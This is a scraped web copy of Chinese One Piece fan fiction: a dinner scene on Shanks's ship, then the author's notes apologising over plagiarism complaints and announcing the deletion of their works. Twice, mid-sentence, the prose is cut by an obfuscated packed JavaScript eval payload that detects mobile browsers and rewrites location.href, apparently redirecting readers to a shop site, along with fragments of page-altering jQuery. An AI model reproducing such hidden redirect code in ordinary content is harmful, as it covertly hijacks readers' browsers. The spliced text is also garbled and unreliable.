古伊娜和乌塔已经换上了漂亮的齐胸襦裙，还有配套的小披帛。 快要一天没见森塞/妈妈的两个小姑娘一左一右扑过来抱住奥西娅的腿，撒娇想要跟她一样的发型。 莱姆琼斯正站在桌子上跟大家炫耀自己今天新买的大红色披风，底下坐着一圈海贼给他捧场。 “好酷！” “是啊，感觉莱姆琼斯现在就像个英雄一样！” “我也想要！借我穿一下嘛~” “才！不！要！” “八嘎！！！” “哈哈哈哈哈哈！” “副船长SAMA~给大家都订做一批披风吧~” 贝克曼：“……” 他把烟摁灭在烟灰缸里：“再那么叫，我就把你扔到海里喂鱼。” 乌塔眨眨眼，仰头问奥西娅：“妈妈，原来带着披风的就是英雄吗？” 古伊娜同款好奇。 不等奥西娅回答，笑得前仰后合的香克斯就凑过来胡扯：“没错，带上披风的狒狒也是英雄哦！” 两个小姑娘眼里冒小星星：“哇哦！” 奥西娅：“……” 她总算知道动漫里路飞奇怪的“英雄观”是跟谁学的了。 奥西娅给俩个小姑娘在头顶盘了双髻，像两只圆嘟嘟的兔耳朵，衬得本就可爱的两个小姑娘更加卡哇伊了。 大家十分给面子地鼓掌起哄，把喜得新皮肤的俩小孩哄得开心的不得了！ 路端着一大盘海鲜炒面从厨房里出来：“开饭了！” 大厅里顿时听取起“哇”声一片：“哇哦——！辛苦啦！” “好好吃！” “今天的饭特别好吃！” “这是什么啊？” “这个真的很好吃啊。” 一群人吃的两眼放光，香克斯举着叉子大喊：“路！一直给我们做好吃的料理，阿里嘎多！” 其他人也跟着大喊：“阿里嘎多！” 路欣然接受大家的感谢和夸赞，然后问：“还有呢？” “那……再来一碗？” “再来一碗。” “再来一碗+1！” “我也要再来一碗！” “我也要！” “吱吱！” “……八嘎！都给我自己去盛啊！” 奥西娅看着破防的路哭笑不得，说出了他真正想听的那句话：“是用了水之都的海盐吗？” “真的特别的美味哦~” 路的周围立马飘起了小花花：“嗨~” “我再帮你盛一碗，奥西娅！” 其他人：“唉——？” “路好偏心啊！” “就——是——！” “闭嘴吧你们这群不懂行的家伙！有什么不满就先把嘴里的面吐出来再说！” 他们不说话了。 吃饱后的海贼们开始了他们的保留节目——听奥西娅讲那些神奇的故事。 今天讲到了“孙悟空三打白骨精”，中间穿插着海贼们的插诨打科和两个小姑娘的惊呼笑闹。 明明酒馆里只有他们海贼团的人，却依然热闹得要命。 香克斯把奥西娅吃不完的海鲜炒面几口卷进嘴里吃光，然后问起了斯内克记录指针的情况。 斯内克二丈和尚摸不着头脑，不是打算在这里多待一段时间吗？ 但既然船长问了，他还是尽职尽责地回答：“主要指针和另外几个备用指针的磁力都已经收集好了。” 香克斯点头：“天气呢？” “这几天天气都很不错，要是想出航的话，随时都可以。 路以为计划有变要提早出航，也一起汇报道：“物资也准备的差不多了，就是还没有运上船。” 贝克曼叼着烟，瞄了一眼被大家围住讲故事的奥西娅。 果然，香克斯在下一秒就宣布了奥西娅和古伊娜要暂时离开雷德·佛斯号的事情。 原本欢声笑语的大厅瞬间变得落针可闻。 “……” “……” “……” “唉——?！！！” 19.道歉声明 宝宝们，我刚才登录打算码字的时候，收到了jj的通知，显示第18章的“捂住香克斯的嘴巴”和“买绘制船图工具”这两个剧情，共30个字左右，涉嫌跟一位大大的文字出现雷同。 我看过了，是真的雷同，描述基本可以说是一模一样我终于知道为什么之前有小可爱说看到“买工具的情节有些眼熟了”。 我已经在申诉里说明了“没想到会撞到情节，会马上修改”。我也不知道正确地操作是不是这么一个步骤。 在这里，我首先对那位大大和她的读者们表示歉意，我真的是无意识写下了这两个剧情，没有想到会撞。对这件事给您和您的读者朋友带来的任何不美好的情绪，我一而再再而三、百次千次万次地表示我的歉意。但我真的不是故意为之，真的真的真的很抱歉！ 也感谢这位作者大大愿意花费自己的时间和精力采用正当的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14209398|149659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 举报来处理这件事，而非空口鉴抄。对于这一点，我真的万分感谢！ 也要对看我这篇文的宝宝们在这里道歉，让这篇文的第18章陷入这件事情里，是我的某种失职。但我确实不是故意出现“雷同”的，再次向看文的宝宝们道歉。 我会等jj处理结果下来后，依照规则对两处雷同情节进行删除和修改。 再次抱歉！！！ 爆哭道歉！！！ 20.删文决定 各位宝宝，我决定在JJ上删掉自己的所有文章，这个账号也会注销掉。 决定这件事以后，我最想说抱歉的是一直陪伴我、鼓励我、还给我投营养液的读者宝宝们，我本来想折算一下晋江币用红包的形式尽量把营养液退还给大家，但是我查了一下，发现只有签约作者才能发红包。（大哭jpg.） 我也纠结，要不要把“想发红包但没发成”这件事说出来，感觉跟嘴遁一样。但除此之外，我不知道该说些什么才能表达自己内心歉意的千分之一。 是我辜负了大家的期待。 我晚上坐在电脑前码字，接下来第十九章的剧情是—— 奥西娅哄睡了哭唧唧的小乌塔。 第二天清晨，奥西娅把自己制作的对戒留下一枚给香克斯，二人在水之都告别。 对戒是用空岛篇冒险时香克斯在大鱼肚子里带回来的银色荧光结晶打磨成的（我私心里称之为星空结晶！真的很漂亮！！绕在无名指上像一条小银河！！！）。 戒指的内侧还封存着两人交缠在一起绕了一圈的发丝（因为奥西娅以前做过古人嘛【嘶……好奇怪的说法】，哈哈哈哈哈，我一直觉得古人的‘青丝结发，举案齐眉’是一件很浪漫的事情，所以也想让香克斯和奥西娅去做）。 再然后，奥西娅就会带着古伊娜前往香波底群岛寻找雷利，但没找到，可能老爷子又把自己给卖了吧，哈哈哈哈哈！（PS：毕竟不是很熟，奥西娅也不好直接去夏琪的酒馆询问。但是没有关系，一家已经数不清几口了，大家都会在下一次重逢后跟着香克斯一起来！） 因为，奥西娅此次航行的目的有三个：1、检验自己有没有实力保护三个孩子出海。2、当一位学会放手的理性妈妈。3、找罗杰的老船员们踩点，方便下次带着孩子们来。 没有找到雷利的奥西娅开始前往此次航行的最后一站——寻找罗杰的好友兼对手，白胡子，之后就会返程，并进入下一个篇章：鱼人岛。 第十九章，大约就是一个这样的逻辑框架。 但我刚码字码到情节“香克斯发现了戒指，将其戴到了自己手上，然后跟奥西娅挥别”的剧情时，我习惯性地打开写作助手，发现我又接到了第二个投诉，（一整个爆哭了，宝宝们） 我今下午才改完第17章“捂住香克斯的嘴巴”的情节和第18章“购买绘制船图工具”的情节发出去后啊啊啊啊啊！！！ 这次是投诉第1章、第2章、第3章跟某位大大的文有雷同。 我看完后，申诉了自己不接受这份投诉。 怎么定义抄袭呢？ 只要有一处10个或者30左右个字一样(系统给出的判断)就可以吗？ 还是说雷同人设+雷同逻辑链+雷同文字？ 我搞不懂这个问题，我搞不懂自己有没有在不知情的情况下就做出了“抄”的行为。 我上网去搜，官方给出的条例很正式，但我个人还是无法做出准确的判断。 然后我的字就码不下去了，我知道我没有抄，一直追我文的宝宝知道，我经常码字到凌晨两、三点，还会卡文卡到断更一、两天……但这就能证明我没抄吗？ 那我要如何证明呢？ 我又去网上查了，反调色盘——我摸摸自己的头发，陷入了沉默。 秃秃，哭哭。 就算做出了反调色盘，“抄了与没抄”的争议就会消失吗？ 我瞅着比较专业的盘，它需要把上下文情节对比、列出逻辑链、文字雷同什么的都标出来。 也就是说，需要花费大量的时间把两篇文都扒出来，我流下了废物星人的眼泪。 好吧，我就是逃避，我真的不想在写文的时候还要陷进风波里。 但我坚信，我的女主人设+全文情节逻辑链+文字表达方式不可能全部雷同吧！！！ 这这这这，不可能，绝对不可能！！！ 写海贼同人，因为是同人，所以里面除了原创主角外，原动漫人物的人设、世界观、世界背景都是完全一样的，我在想，这一点会不会也会增加雷同的可能性？ 我说我没抄，但人家也会觉得，没抄为什么会有雷同的句子、雷同的情节？ 人家做错了吗？ 没有！ 发现问题，合理质疑，这没错！ 有争议不是一件坏事。 但我不想在码字的时候还要陷入争议里，也害怕一直看我文的宝宝们会有哪怕一个人会因为这件事情被迫陷入争议里。 这篇文的内核《海贼王》是自由的，我希望读者宝们随性如风、自由自在，不要因为我的问题受到一点影响。 白天需要为生活奔波，但晚上可以忘记那些糟心事，放任自己沉浸在OP世界里去大海上自由啊、去冒险啊，哪怕偶尔、咳，好吧，是经常，会卡文、熬夜，但那也是甜蜜的负担。 但这件事出来以后，我对继续把这篇文码下去、把其余所有文都码下去，感到的不是自由，而是惶恐。 我惶恐的是，明天早上，我不会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14214990|149659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接到第三个投诉吧？明天下午，我不会接到第四个投诉吧？我不会每天打开写作助手，就会接到投诉吧？ 每次写文前，先写个申诉？ 好家伙，我能硬着头皮继续把文写下去吗？就算写下去了，真的不会越写越差吗？真的不会烂尾吗？ 我是个约都没签上的废头，但能不能签上这件事不以我的意志为准呜呜呜呜，好在我很佛系，OP的精神内核是自由，我写的也很开心，大家看的也很开心，就行了呗，其他的都是浮云~哈哈哈哈哈！ 所以我也在评论区跟宝宝们提过，留评论就敲开心，本文会免费，不用投营养液。 我是一个用同人文逃避现实的人，对于我来说，写OP同人是十分快乐的，因为那片大海是自由的、充满冒险的，而且好像烦恼在草帽团他们身边都待不了太久一样，看着他们冒险，感觉在那短短的时间里，自己的灵魂也是自由的。 也正因如此，我写不下去了，我没办法带着惶恐、郁闷的心情去描绘海贼们自由大笑的场景，所以说我是废头嘛（大哭jpg.） 就想……先跟宝宝们请给个假，我先出去逃避一段时间，等心态调整回来了，我就接着把全部的文都给码完！包括预收里的那些！！都嘎嘎码完！！！ 但不是在这边了，嗯……我是怂狗。 不过不管在哪边，这些同人文都会一直是免费的。 我会在明天第二个申诉结果出来后再离开。(因为我认为，抄没抄这件事不以我的意志来判断，我判断不出来，但官方肯定可以！) 如果真的被JJ判定为抄袭的话，我会发表道歉、删文并离开，然后我会把被判定的内容进行修改。 …… 对不起，表示愿意等我的读者宝宝。 对不起，一直给我投营养液鼓励我的宝宝。 对不起，敲可爱的催更宝宝。 对不起，陪我更文到这里的338位读者宝宝们。 还有，那位说想要动笔自己写文的宝宝，加油呀！文字也是一片海！！快去开启你自由的冒险吧！！！ (PS：怕给读者宝宝们带去麻烦，就不把大家的昵称说出来啦，大家的陪伴与鼓励，我铭记于心。) 十九章及其往后的故事，留在后面慢慢讲给大家（不讲不甘心啊，我顺着海贼王的时间线，把细纲情节从五千年前一直捋到了蛋头岛，就这么随便放弃，我心痛的滴血。） 最后，再次感谢读者宝宝们的陪伴，祝大家，永远自由如风！